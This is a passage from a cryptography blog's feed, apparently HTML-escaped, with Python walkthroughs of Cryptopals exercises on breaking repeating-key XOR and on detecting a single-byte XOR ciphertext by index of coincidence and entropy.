&lt;input type='checkbox' id='Ck1vcmUga2V5cyB0aGFuIGdyYW1zIG9mIG9yZGluYXJ5IG1hc3MgaW4gdGhlCltvYnNlcnZhYmxlIHVuaXZlcnNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9PYnNlcnZhYmxlX3VuaXZlcnNlKQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
More keys than grams of ordinary mass in the &lt;a href="https://en.wikipedia.org/wiki/Observable_universe"&gt;observable universe&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a really small number compared with the whole key space &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And only a few of them are more likely than others:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;repr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Terminator X: Bring the noise&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Terminator X: Br,ng the noise&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0000&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Voila! These two keys are the two most probably ones. In fact, those two have the same probability to be correct.&lt;/p&gt;
&lt;p&gt;You probably guessed which is the one&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;m back and I&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;ringin&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; the bell&amp;lt;...&amp;gt;Play that funky music&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CltWYW5pbGxhIEljZSAtIFBsYXkgdGhhdCBGdW5reSBNdXNpY10oaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1uMlVicTlYSUk4YykKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltWYW5pbGxhIEljZSAtIFBsYXkgdGhhdCBGdW5reSBNdXNpY10oaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1uMlVicTlYSUk4YykKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://www.youtube.com/watch?v=n2Ubq9XII8c"&gt;Vanilla Ice - Play that Funky Music&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cryptopals.com/sets/1/challenges/6"&gt;Break repeating-key XOR&lt;/a&gt; &lt;em&gt;done&lt;/em&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/05/01/Breaking-Vigenere.html" rel="alternate" type="text/html" title="Breaking Vigenere"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="vigenere" label="vigenere"/>
    <published>2018-05-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/04/01/A-string-of-coincidences-is-not-a-coincidence.html</id>
    <title>A string of coincidences is not a coincidence</title>
    <updated>2018-04-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A cipher is &lt;em&gt;semantically secure&lt;/em&gt; if given a randomly chosen key, its ciphertext cannot be distinguishable from a truly random string.&lt;/p&gt;
&lt;p&gt;Detecting a ciphertext from a pool is enough to consider the cipher as not secure even of we can’t break it.&lt;/p&gt;
&lt;p&gt;In the following pool of random strings one is actually a ciphertext that is the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; encryption of a plaintext using a single-byte key.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/4.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is obviously a poor and not secure encryption mechanism; let’s find the ciphertext then!&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="distinguish-a-ciphertext"&gt;Distinguish a ciphertext&lt;/h2&gt;
&lt;p&gt;&lt;label for='CltEZXRlY3Qgc2luZ2xlLWNoYXJhY3RlciBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvNCkKY2hhbGxlbmdlCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltEZXRlY3Qgc2luZ2xlLWNoYXJhY3RlciBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvNCkKY2hhbGxlbmdlCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/1/challenges/4"&gt;Detect single-character XOR&lt;/a&gt; challenge
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The basic idea is that some patterns in the plaintext are propagated to the ciphertext and those we will be enough to distinguish it from the rest of the pool.&lt;/p&gt;
&lt;h3 id="index-of-coincidence"&gt;Index of coincidence&lt;/h3&gt;
&lt;p&gt;One possibility could be that the ciphertext shows more repeated bytes (something that clearly is not random).&lt;/p&gt;
&lt;p&gt;A string with a &lt;em&gt;lot of coincidences is not a coincidence&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For this we can calculate the &lt;a href="https://en.wikipedia.org/wiki/Index_of_coincidence"&gt;index of coincidences&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.metrics&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;icoincidences&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;icoincidences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="c1"&gt;# higher values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.02298&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.02988&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.04597&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Index of Coincidence&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="entropy"&gt;Entropy&lt;/h3&gt;
&lt;p&gt;The entropy measures the information that a sequence has based on the probability of its events.&lt;/p&gt;
&lt;p&gt;If all the events are equally likely, the sequence looks more random and carry more information (or it has less redundancy if you want).&lt;/p&gt;
&lt;p&gt;The entropy is defined as:&lt;/p&gt;
$$S=\sum_{\forall p_{x}}p_{x}\textrm{log}_{n}\left(p_{x}\right)$$
&lt;p&gt;Where each \(p_{x}\) is the probability of the event \(x\) and \(n\) is the number of event types.&lt;/p&gt;
&lt;p&gt;What is an event, it is up to you.&lt;/p&gt;
&lt;h3 id="entropy-at-the-bit-level"&gt;Entropy at the bit level&lt;/h3&gt;
&lt;p&gt;The entropy is not an intrinsic value of the sample, it is a value relative to a particular model.&lt;/p&gt;
&lt;p&gt;If we are interested in only the individual bits we could set two possible events: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can calculate the probability of each event as:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bit_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ones&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count_1s&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;zeros&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ones&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ones&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A truly random string should yield &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (half bits are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the other half are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Under this module, we can calculate the entropy for all the strings in the pool:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;scipy.stats&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;stats&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;stats&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bit_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# lower values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.9097&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;311&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.9182&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;230&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.9377&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.9377&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Entropy bit-level&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The entropy defined as we did performed poorly as discriminant.&lt;/p&gt;
&lt;p&gt;This is because we are are considering the bits independently one of each other: the sequence &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0101010101&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has the same amount of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so its a entropy is 1.0 and it would look random because the model doesn’t capture a pattern of more than one bit.&lt;/p&gt;
&lt;p&gt;To be effective, &lt;em&gt;the entropy must have a useful model&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id="entropy-at-the-byte-level"&gt;Entropy at the byte level&lt;/h3&gt;
&lt;p&gt;We could change the model as define the byte as the unit for the entropy:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;byte_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This time, the entropy is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;stats&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# lower values, less random&lt;/span&gt;
